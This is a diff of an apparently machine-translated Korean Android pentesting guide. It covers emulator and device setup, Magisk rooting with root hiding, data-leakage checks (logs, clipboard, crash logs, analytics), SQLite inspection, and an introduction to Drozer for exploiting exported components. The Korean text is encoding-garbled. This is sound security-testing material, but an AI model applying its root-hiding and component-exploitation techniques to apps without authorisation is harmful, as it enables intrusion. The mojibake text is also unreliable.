**Drozer**์™€ **Frida**๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. -### ๋กœ์ปฌ ๋™์  ๋ถ„์„ +### Local Dynamic Analysis -#### ์—๋ฎฌ๋ ˆ์ดํ„ฐ ์‚ฌ์šฉ +#### Using an emulator -- [**Android Studio**](https://developer.android.com/studio) (x86 ๋ฐ arm ๋””๋ฐ”์ด์Šค๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, [**์ด ๊ธ€**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)์— ๋”ฐ๋ฅด๋ฉด ์ตœ์‹  x86 ๋ฒ„์ „์€ ๋А๋ฆฐ ARM ์—๋ฎฌ๋ ˆ์ดํ„ฐ ์—†์ด๋„ ARM ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค). -- ์„ค์ • ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ ํŽ˜์ด์ง€์—์„œ ํ™•์ธํ•˜์„ธ์š”: +- [**Android Studio**](https://developer.android.com/studio) (x86 ๋ฐ arm ๋””๋ฐ”์ด์Šค๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**์— ๋”ฐ๋ฅด๋ฉด ์ตœ์‹  x86** ๋ฒ„์ „์€ ๋А๋ฆฐ arm ์—๋ฎฌ๋ ˆ์ดํ„ฐ๊ฐ€ ์—†์–ด๋„ **ARM ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ**๋ฅผ ์ง€์›ํ•œ๋‹ค.) +- ์ด ํŽ˜์ด์ง€์—์„œ ์„ค์ •ํ•˜๋Š” ๋ฒ•์„ ๋ฐฐ์šฐ๋ผ: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(๋ฌด๋ฃŒ ๋ฒ„์ „:** Personal Edition, ๊ณ„์ • ์ƒ์„ฑ ํ•„์š”. _๊ฐ€๋Šฅํ•œ ์˜ค๋ฅ˜๋ฅผ ํ”ผํ•˜๋ ค๋ฉด VirtualBox๊ฐ€ ํฌํ•จ๋œ ๋ฒ„์ „์„ **WITH** ๋‹ค์šด๋กœ๋“œํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค._) -- [**Nox**](https://es.bignox.com) (๋ฌด๋ฃŒ์ง€๋งŒ Frida๋‚˜ Drozer๋Š” ์ง€์›ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค). +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, ๊ณ„์ • ์ƒ์„ฑ ํ•„์š”. _์ž ์žฌ์  ์˜ค๋ฅ˜๋ฅผ ํ”ผํ•˜๋ ค๋ฉด_ _**VirtualBox ํฌํ•จ**_ ๋ฒ„์ „์„ **๋‹ค์šด๋กœ๋“œ**ํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋œ๋‹ค._) +- [**Nox**](https://es.bignox.com) (๋ฌด๋ฃŒ, ํ•˜์ง€๋งŒ Frida๋‚˜ Drozer๋Š” ์ง€์›ํ•˜์ง€ ์•Š์Œ). > [!TIP] -> ์ƒˆ ์—๋ฎฌ๋ ˆ์ดํ„ฐ๋ฅผ ๋งŒ๋“ค ๋•Œ ํ™”๋ฉด์ด ํด์ˆ˜๋ก ์—๋ฎฌ๋ ˆ์ดํ„ฐ๊ฐ€ ๋” ๋А๋ ค์ง‘๋‹ˆ๋‹ค. ๊ฐ€๋Šฅํ•˜๋ฉด ์ž‘์€ ํ™”๋ฉด์„ ์„ ํƒํ•˜์„ธ์š”. +> ์–ด๋–ค ํ”Œ๋žซํผ์—์„œ ์ƒˆ ์—๋ฎฌ๋ ˆ์ดํ„ฐ๋ฅผ ์ƒ์„ฑํ•  ๋•Œ ํ™”๋ฉด์ด ํด์ˆ˜๋ก ์—๋ฎฌ๋ ˆ์ดํ„ฐ๊ฐ€ ๋А๋ ค์ง„๋‹ค. ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ ์ž‘์€ ํ™”๋ฉด์„ ์„ ํƒํ•˜๋ผ. -Genymotion์— **google services**(์˜ˆ: AppStore)๋ฅผ ์„ค์น˜ํ•˜๋ ค๋ฉด ๋‹ค์Œ ์ด๋ฏธ์ง€์—์„œ ๋นจ๊ฐ„ ํ‘œ์‹œ๋œ ๋ฒ„ํŠผ์„ ํด๋ฆญํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: +Genymotion์—์„œ Google ์„œ๋น„์Šค(์˜ˆ: AppStore)๋ฅผ ์„ค์น˜ํ•˜๋ ค๋ฉด ๋‹ค์Œ ์ด๋ฏธ์ง€์˜ ๋นจ๊ฐ„ ํ‘œ์‹œ๋œ ๋ฒ„ํŠผ์„ ํด๋ฆญํ•ด์•ผ ํ•œ๋‹ค: ![](<../../images/image (277).png>) -๋˜ํ•œ **Genymotion์˜ Android VM ๊ตฌ์„ฑ(configuration of the Android VM in Genymotion)**์—์„œ **Bridge Network mode**๋ฅผ ์„ ํƒํ•  ์ˆ˜ ์žˆ์Œ์„ ํ™•์ธํ•˜์„ธ์š”(๋‹ค๋ฅธ VM์—์„œ ๋„๊ตฌ๋กœ Android VM์— ์—ฐ๊ฒฐํ•  ๊ฒฝ์šฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค). +๋˜ํ•œ **Genymotion์˜ Android VM ์„ค์ •**์—์„œ **Bridge Network mode**๋ฅผ ์„ ํƒํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ(์ด๊ฒƒ์€ ๋‹ค๋ฅธ VM์—์„œ ๋„๊ตฌ๋กœ Android VM์— ์—ฐ๊ฒฐํ•  ๊ฒฝ์šฐ ์œ ์šฉํ•˜๋‹ค) ์ด๋ฅผ ํ™•์ธํ•˜๋ผ. -#### ๋ฌผ๋ฆฌ์  ๋””๋ฐ”์ด์Šค ์‚ฌ์šฉ +#### Use a physical device -**debugging** ์˜ต์…˜์„ ํ™œ์„ฑํ™”ํ•ด์•ผ ํ•˜๋ฉฐ ๋ฃจํŒ…(root)ํ•˜๋ฉด ๋” ์ข‹์Šต๋‹ˆ๋‹ค: +๋””๋ฒ„๊น… ์˜ต์…˜์„ ํ™œ์„ฑํ™”ํ•ด์•ผ ํ•˜๋ฉฐ, ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด **root**ํ•˜๋Š” ๊ฒƒ์ด ์ข‹๋‹ค: 1. **Settings**. 2. (FromAndroid 8.0) Select **System**. @@ -280,67 +282,65 @@ Genymotion์— **google services**(์˜ˆ: AppStore)๋ฅผ ์„ค์น˜ํ•˜๋ ค๋ฉด ๋‹ค์Œ ์ด 4. Press **Build number** 7 times. 5. Go back and you will find the **Developer options**. -> ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์„ค์น˜ํ•œ ํ›„ ๊ฐ€์žฅ ๋จผ์ € ํ•ด์•ผ ํ•  ์ผ์€ ์•ฑ์„ ์ง์ ‘ ์‹คํ–‰ํ•ด ๋ฌด์—‡์„ ํ•˜๋Š”์ง€, ์–ด๋–ป๊ฒŒ ๋™์ž‘ํ•˜๋Š”์ง€ ์กฐ์‚ฌํ•˜์—ฌ ์ต์ˆ™ํ•ด์ง€๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.\ -> ์ €๋Š” MobSF dynamic analysis + pidcat์„ ์‚ฌ์šฉํ•œ ์ดˆ๊ธฐ ๋™์  ๋ถ„์„์„ ์ˆ˜ํ–‰ํ•  ๊ฒƒ์„ ์ œ์•ˆํ•ฉ๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์–ด๋–ป๊ฒŒ ๋™์ž‘ํ•˜๋Š”์ง€ ๋ฐฐ์šฐ๋Š” ๋™์‹œ์— MobSF๊ฐ€ ๋‚˜์ค‘์— ๊ฒ€ํ† ํ•  ์ˆ˜ ์žˆ๋Š” ๋งŽ์€ ํฅ๋ฏธ๋กœ์šด ๋ฐ์ดํ„ฐ๋ฅผ ์บก์ฒ˜ํ•ฉ๋‹ˆ๋‹ค. +> ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์„ค์น˜ํ•œ ํ›„ ๊ฐ€์žฅ ๋จผ์ € ํ•ด์•ผ ํ•  ์ผ์€ ์•ฑ์„ ์‹คํ–‰ํ•ด ๋ฌด์—‡์„ ํ•˜๋Š”์ง€, ์–ด๋–ป๊ฒŒ ๋™์ž‘ํ•˜๋Š”์ง€ ์กฐ์‚ฌํ•˜์—ฌ ์ต์ˆ™ํ•ด์ง€๋Š” ๊ฒƒ์ด๋‹ค.\ +> ์ดˆ๊ธฐ ๋™์  ๋ถ„์„์€ MobSF dynamic analysis + pidcat๋ฅผ ์‚ฌ์šฉํ•ด ์ˆ˜ํ–‰ํ•  ๊ฒƒ์„ ๊ถŒ์žฅํ•œ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด MobSF๊ฐ€ ๋‚˜์ค‘์— ๊ฒ€ํ† ํ•  ์ˆ˜ ์žˆ๋Š” ๋งŽ์€ **ํฅ๋ฏธ๋กœ์šด ๋ฐ์ดํ„ฐ**๋ฅผ ์บก์ฒ˜ํ•˜๋Š” ๋™์•ˆ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋™์ž‘์„ ํ•™์Šตํ•  ์ˆ˜ ์žˆ๋‹ค. Magisk/Zygisk quick notes (recommended on Pixel devices) -- Patch boot.img with the Magisk app and flash via fastboot to get systemless root -- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required -- Keep original boot.img to recover from OTA updates; re-patch after each OTA -- For screen mirroring, use scrcpy on the host +- Magisk ์•ฑ์œผ๋กœ boot.img๋ฅผ ํŒจ์น˜ํ•˜๊ณ  fastboot๋กœ ํ”Œ๋ž˜์‹œํ•˜์—ฌ systemless root๋ฅผ ์–ป๋Š”๋‹ค +- Zygisk + DenyList๋ฅผ ํ™œ์„ฑํ™”ํ•˜์—ฌ ๋ฃจํŠธ ์ˆจ๊ธฐ๊ธฐ๋ฅผ ์ˆ˜ํ–‰; ๋” ๊ฐ•ํ•œ ์ˆจ๊น€์ด ํ•„์š”ํ•˜๋ฉด LSPosed/Shamiko ๊ณ ๋ ค +- OTA ์—…๋ฐ์ดํŠธ์—์„œ ๋ณต๊ตฌํ•  ์ˆ˜ ์žˆ๋„๋ก ์›๋ณธ boot.img๋ฅผ ๋ณด๊ด€; OTA ํ›„ ์žฌํŒจ์น˜ ํ•„์š” +- ํ™”๋ฉด ๋ฏธ๋Ÿฌ๋ง์€ ํ˜ธ์ŠคํŠธ์—์„œ scrcpy ์‚ฌ์šฉ +### Unintended Data Leakage +**Logging** -### ์˜๋„์น˜ ์•Š์€ ๋ฐ์ดํ„ฐ leak - -**๋กœ๊น…** - -๊ฐœ๋ฐœ์ž๋Š” **๋””๋ฒ„๊น… ์ •๋ณด(debugging information)** ๋ฅผ ๊ณต๊ฐœ์ ์œผ๋กœ ๋…ธ์ถœํ•˜์ง€ ์•Š๋„๋ก ์ฃผ์˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๊ฐ€ leak๋  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋กœ๊ทธ๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์—ฌ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์‹๋ณ„ํ•˜๊ณ  ๋ณดํ˜ธํ•˜๊ธฐ ์œ„ํ•ด [**pidcat**](https://github.com/JakeWharton/pidcat) ๋ฐ `adb logcat` ๋„๊ตฌ๋ฅผ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค. **Pidcat**์€ ์‚ฌ์šฉ ํŽธ์˜์„ฑ๊ณผ ๊ฐ€๋…์„ฑ ๋•Œ๋ฌธ์— ์„ ํ˜ธ๋ฉ๋‹ˆ๋‹ค. +๊ฐœ๋ฐœ์ž๋Š” **๋””๋ฒ„๊น… ์ •๋ณด**๋ฅผ ๊ณต๊ฐœ์ ์œผ๋กœ ๋…ธ์ถœํ•˜์ง€ ์•Š๋„๋ก ์ฃผ์˜ํ•ด์•ผ ํ•œ๋‹ค. ์ด๋Š” ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ ์œ ์ถœ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋กœ๊ทธ๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์—ฌ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์‹๋ณ„ํ•˜๊ณ  ๋ณดํ˜ธํ•˜๊ธฐ ์œ„ํ•ด ๋„๊ตฌ [**pidcat**](https://github.com/JakeWharton/pidcat)์™€ `adb logcat`๋ฅผ ๊ถŒ์žฅํ•œ๋‹ค. **Pidcat**์€ ์‚ฌ์šฉ ํŽธ์˜์„ฑ๊ณผ ๊ฐ€๋…์„ฑ ๋•Œ๋ฌธ์— ์„ ํ˜ธ๋œ๋‹ค. > [!WARNING] -> Android 4.0 ์ดํ›„ ๋ฒ„์ „๋ถ€ํ„ฐ **์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ž์‹ ์˜ ๋กœ๊ทธ๋งŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ๋”ฐ๋ผ์„œ ์•ฑ์€ ๋‹ค๋ฅธ ์•ฑ์˜ ๋กœ๊ทธ๋ฅผ ์ ‘๊ทผํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.\ -> ๊ทธ๋Ÿผ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ๋กœ๊ทธ์— ๋‚จ๊ธฐ์ง€ ์•Š๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค. +> Android 4.0๋ณด๋‹ค **์ดํ›„ ๋ฒ„์ „๋ถ€ํ„ฐ๋Š”**, **์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ž์‹ ์˜ ๋กœ๊ทธ๋งŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค**๋Š” ์ ์„ ์œ ์˜ํ•˜๋ผ. ๋”ฐ๋ผ์„œ ์•ฑ์€ ๋‹ค๋ฅธ ์•ฑ์˜ ๋กœ๊ทธ์— ์ ‘๊ทผํ•  ์ˆ˜ ์—†๋‹ค.\ +> ์–ด์จŒ๋“ , ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ๋กœ๊ทธ์— ๋‚จ๊ธฐ์ง€ ์•Š๋Š” ๊ฒƒ์ด ์—ฌ์ „ํžˆ ๊ถŒ์žฅ๋œ๋‹ค. -**๋ณต์‚ฌ/๋ถ™์—ฌ๋„ฃ๊ธฐ ๋ฒ„ํผ ์บ์‹ฑ** +**Copy/Paste Buffer Caching** -Android์˜ **ํด๋ฆฝ๋ณด๋“œ ๊ธฐ๋ฐ˜** ํ”„๋ ˆ์ž„์›Œํฌ๋Š” ์•ฑ ๊ฐ„ ๋ณต์‚ฌ-๋ถ™์—ฌ๋„ฃ๊ธฐ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•˜์ง€๋งŒ **๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜**์ด ํด๋ฆฝ๋ณด๋“œ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์–ด ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๊ฐ€ ๋…ธ์ถœ๋  ์œ„ํ—˜์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์‹ ์šฉ์นด๋“œ ์ •๋ณด ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ์„น์…˜์— ๋Œ€ํ•ด์„œ๋Š” ๋ณต์‚ฌ/๋ถ™์—ฌ๋„ฃ๊ธฐ ๊ธฐ๋Šฅ์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. +Android์˜ **ํด๋ฆฝ๋ณด๋“œ ๊ธฐ๋ฐ˜** ํ”„๋ ˆ์ž„์›Œํฌ๋Š” ์•ฑ ๊ฐ„ ๋ณต์‚ฌ-๋ถ™์—ฌ๋„ฃ๊ธฐ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•˜์ง€๋งŒ, **๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜**์ด ํด๋ฆฝ๋ณด๋“œ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์–ด ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๊ฐ€ ๋…ธ์ถœ๋  ์œ„ํ—˜์ด ์žˆ๋‹ค. ์‹ ์šฉ์นด๋“œ ์ •๋ณด์™€ ๊ฐ™์ด ๋ฏผ๊ฐํ•œ ์„น์…˜์—์„œ๋Š” ๋ณต์‚ฌ/๋ถ™์—ฌ๋„ฃ๊ธฐ ๊ธฐ๋Šฅ์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•˜๋‹ค. -**ํฌ๋ž˜์‹œ ๋กœ๊ทธ** +**Crash Logs** -์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด **ํฌ๋ž˜์‹œ**ํ•˜๊ณ  ๋กœ๊ทธ๋ฅผ ์ €์žฅํ•˜๋ฉด, ํ•ด๋‹น ๋กœ๊ทธ๋Š” ํŠนํžˆ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋ฆฌ๋ฒ„์Šค์—”์ง€๋‹ˆ์–ด๋งํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ ๊ณต๊ฒฉ์ž์—๊ฒŒ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์™„ํ™”ํ•˜๋ ค๋ฉด ํฌ๋ž˜์‹œ ์‹œ ๋กœ๊ทธ๋ฅผ ๋‚จ๊ธฐ์ง€ ๋ง๊ณ , ๋กœ๊ทธ๋ฅผ ๋„คํŠธ์›Œํฌ๋กœ ์ „์†กํ•ด์•ผ ํ•œ๋‹ค๋ฉด ๋ฐ˜๋“œ์‹œ SSL ์ฑ„๋„์„ ํ†ตํ•ด ์ „์†กํ•˜์„ธ์š”. +์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด **ํฌ๋ž˜์‹œ**ํ•˜์—ฌ ๋กœ๊ทธ๋ฅผ ์ €์žฅํ•˜๋ฉด, ํŠนํžˆ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋ฆฌ๋ฒ„์Šค ์—”์ง€๋‹ˆ์–ด๋งํ•  ์ˆ˜ ์—†์„ ๋•Œ ๊ณต๊ฒฉ์ž์—๊ฒŒ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ๋‹ค. ์ด๋ฅผ ์™„ํ™”ํ•˜๋ ค๋ฉด ํฌ๋ž˜์‹œ ์‹œ ๋กœ๊น…์„ ํ”ผํ•˜๊ณ , ๋กœ๊ทธ๋ฅผ ๋„คํŠธ์›Œํฌ๋กœ ์ „์†กํ•ด์•ผ ํ•œ๋‹ค๋ฉด SSL ์ฑ„๋„์„ ํ†ตํ•ด ์ „์†กํ•˜๋„๋ก ํ•˜๋ผ. -ํŽœํ…Œ์Šคํ„ฐ(pentester)๋กœ์„œ **์ด ๋กœ๊ทธ๋“ค์„ ํ™•์ธํ•ด ๋ณด์„ธ์š”**. +As pentester, **try to take a look to these logs**. -**์ œ3์ž์—๊ฒŒ ์ „์†ก๋˜๋Š” ๋ถ„์„ ๋ฐ์ดํ„ฐ** +**Analytics Data Sent To 3rd Parties** -์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ข…์ข… Google Adsense์™€ ๊ฐ™์€ ์„œ๋น„์Šค๋ฅผ ํ†ตํ•ฉํ•˜๋ฉฐ, ๊ฐœ๋ฐœ์ž์˜ ์ž˜๋ชป๋œ ๊ตฌํ˜„์œผ๋กœ ์ธํ•ด ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๊ฐ€ ์˜๋„์น˜ ์•Š๊ฒŒ leak๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฐ์ดํ„ฐ ์œ ์ถœ ๊ฐ€๋Šฅ์„ฑ์„ ์‹๋ณ„ํ•˜๋ ค๋ฉด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ํŠธ๋ž˜ํ”ฝ์„ ๊ฐ€๋กœ์ฑ„์–ด ์ œ3์ž์—๊ฒŒ ์ „์†ก๋˜๋Š” ๋ฏผ๊ฐํ•œ ์ •๋ณด๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. +์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ข…์ข… Google Adsense์™€ ๊ฐ™์€ ์„œ๋น„์Šค๋ฅผ ํ†ตํ•ฉํ•˜๋Š”๋ฐ, ๊ฐœ๋ฐœ์ž์˜ ์ž˜๋ชป๋œ ๊ตฌํ˜„์œผ๋กœ ์ธํ•ด ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๊ฐ€ **leak**๋  ์ˆ˜ ์žˆ๋‹ค. ์ž ์žฌ์  ๋ฐ์ดํ„ฐ ๋ˆ„์ˆ˜๋ฅผ ์‹๋ณ„ํ•˜๋ ค๋ฉด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ํŠธ๋ž˜ํ”ฝ์„ ๊ฐ€๋กœ์ฑ„๊ณ  ์ œ3์ž ์„œ๋น„์Šค๋กœ ์ „์†ก๋˜๋Š” ๋ฏผ๊ฐํ•œ ์ •๋ณด๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ๋ฐ”๋žŒ์งํ•˜๋‹ค. ### SQLite DBs -๋Œ€๋ถ€๋ถ„์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ •๋ณด๋ฅผ ์ €์žฅํ•˜๊ธฐ ์œ„ํ•ด **๋‚ด๋ถ€ SQLite ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค**๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ํŽœํ…Œ์ŠคํŠธ ์ค‘์—๋Š” ์ƒ์„ฑ๋œ **๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค**, **ํ…Œ์ด๋ธ”** ๋ฐ **์ปฌ๋Ÿผ** ์ด๋ฆ„๊ณผ ์ €์žฅ๋œ ๋ชจ๋“  **๋ฐ์ดํ„ฐ**๋ฅผ ํ™•์ธํ•˜์„ธ์š”. ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ ์ด๋Š” ์ทจ์•ฝ์ ์ด ๋ฉ๋‹ˆ๋‹ค.\ -๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” `/data/data/the.package.name/databases`์— ์œ„์น˜ํ•ด์•ผ ํ•˜๋ฉฐ ์˜ˆ์‹œ๋Š” `/data/data/com.mwr.example.sieve/databases` ์ž…๋‹ˆ๋‹ค. +๋Œ€๋ถ€๋ถ„์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ •๋ณด๋ฅผ ์ €์žฅํ•˜๊ธฐ ์œ„ํ•ด **๋‚ด๋ถ€ SQLite ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค**๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค. ํŽœํ…Œ์ŠคํŠธ ์ค‘์—๋Š” ์ƒ์„ฑ๋œ **๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค**, **ํ…Œ์ด๋ธ”** ๋ฐ **์ปฌ๋Ÿผ ์ด๋ฆ„**, ๊ทธ๋ฆฌ๊ณ  ์ €์žฅ๋œ ๋ชจ๋“  **๋ฐ์ดํ„ฐ**๋ฅผ ์‚ดํŽด๋ณด๋ผ. ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ ์ด๋Š” ์ทจ์•ฝ์ ์ด ๋  ์ˆ˜ ์žˆ๋‹ค.\ +๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” `/data/data/the.package.name/databases`์— ์œ„์น˜ํ•ด์•ผ ํ•œ๋‹ค(์˜ˆ: `/data/data/com.mwr.example.sieve/databases`). -๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ๊ธฐ๋ฐ€ ์ •๋ณด๋ฅผ ์ €์žฅํ•˜๊ณ  ์žˆ๊ณ  **์•”ํ˜ธํ™”๋˜์–ด(encrypted)** ์žˆ๋”๋ผ๋„ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด์—์„œ **์•”ํ˜ธ(password)** ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด ์—ฌ์ „ํžˆ **์ทจ์•ฝ์ **์ž…๋‹ˆ๋‹ค. +๋งŒ์•ฝ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ๊ธฐ๋ฐ€ ์ •๋ณด๋ฅผ ์ €์žฅํ•˜๋Š”๋ฐ **์•”ํ˜ธํ™”๋˜์–ด ์žˆ๊ณ **, ๊ทธ ์•”ํ˜ธ๋ฅผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด๋ถ€์—์„œ **์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด** ์ด๊ฒƒ์€ ์—ฌ์ „ํžˆ **์ทจ์•ฝ์ **์ด๋‹ค. -`.tables`๋กœ ํ…Œ์ด๋ธ”์„ ์—ด๊ฑฐํ•˜๊ณ  `.schema `์œผ๋กœ ํ…Œ์ด๋ธ”์˜ ์ปฌ๋Ÿผ์„ ํ™•์ธํ•˜์„ธ์š”. +ํ…Œ์ด๋ธ”์„ ์—ด๊ฑฐํ•˜๋ ค๋ฉด `.tables`๋ฅผ ์‚ฌ์šฉํ•˜๊ณ , ํ…Œ์ด๋ธ”์˜ ์ปฌ๋Ÿผ์„ ๋‚˜์—ดํ•˜๋ ค๋ฉด `.schema `์„ ์‚ฌ์šฉํ•˜๋ผ. ### Drozer (Exploit Activities, Content Providers and Services) -From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด **Android ์•ฑ์˜ ์—ญํ• ์„ ๋งก์•„** ๋‹ค๋ฅธ ์•ฑ๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์„ค์น˜๋œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ํ•  ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ์ž‘์—…โ€”Android์˜ Inter-Process Communication(IPC) ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ์ด์šฉํ•˜๊ฑฐ๋‚˜ ๊ธฐ๋ณธ ์šด์˜์ฒด์ œ์™€ ์ƒํ˜ธ์ž‘์šฉํ•˜๋Š” ๊ฒƒโ€”์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. .\ -Drozer๋Š” **exported activities, exported services ๋ฐ Content Providers**๋ฅผ **์ต์Šคํ”Œ๋กœ์ž‡**ํ•˜๋Š” ๋ฐ ์œ ์šฉํ•œ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. ๋‹ค์Œ ์„น์…˜์—์„œ ์ด๋ฅผ ๋ฐฐ์šฐ๊ฒŒ ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค. +From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**๋Š” Android ์•ฑ์˜ ์—ญํ• ์„ ๊ฐ€์ •ํ•˜๊ณ  ๋‹ค๋ฅธ ์•ฑ๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค€๋‹ค. ์„ค์น˜๋œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ํ•  ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ๊ฒƒ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, Android์˜ Inter-Process Communication(IPC) ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ์‚ฌ์šฉํ•˜๊ณ  ๊ธฐ๋ณธ ์šด์˜์ฒด์ œ์™€ 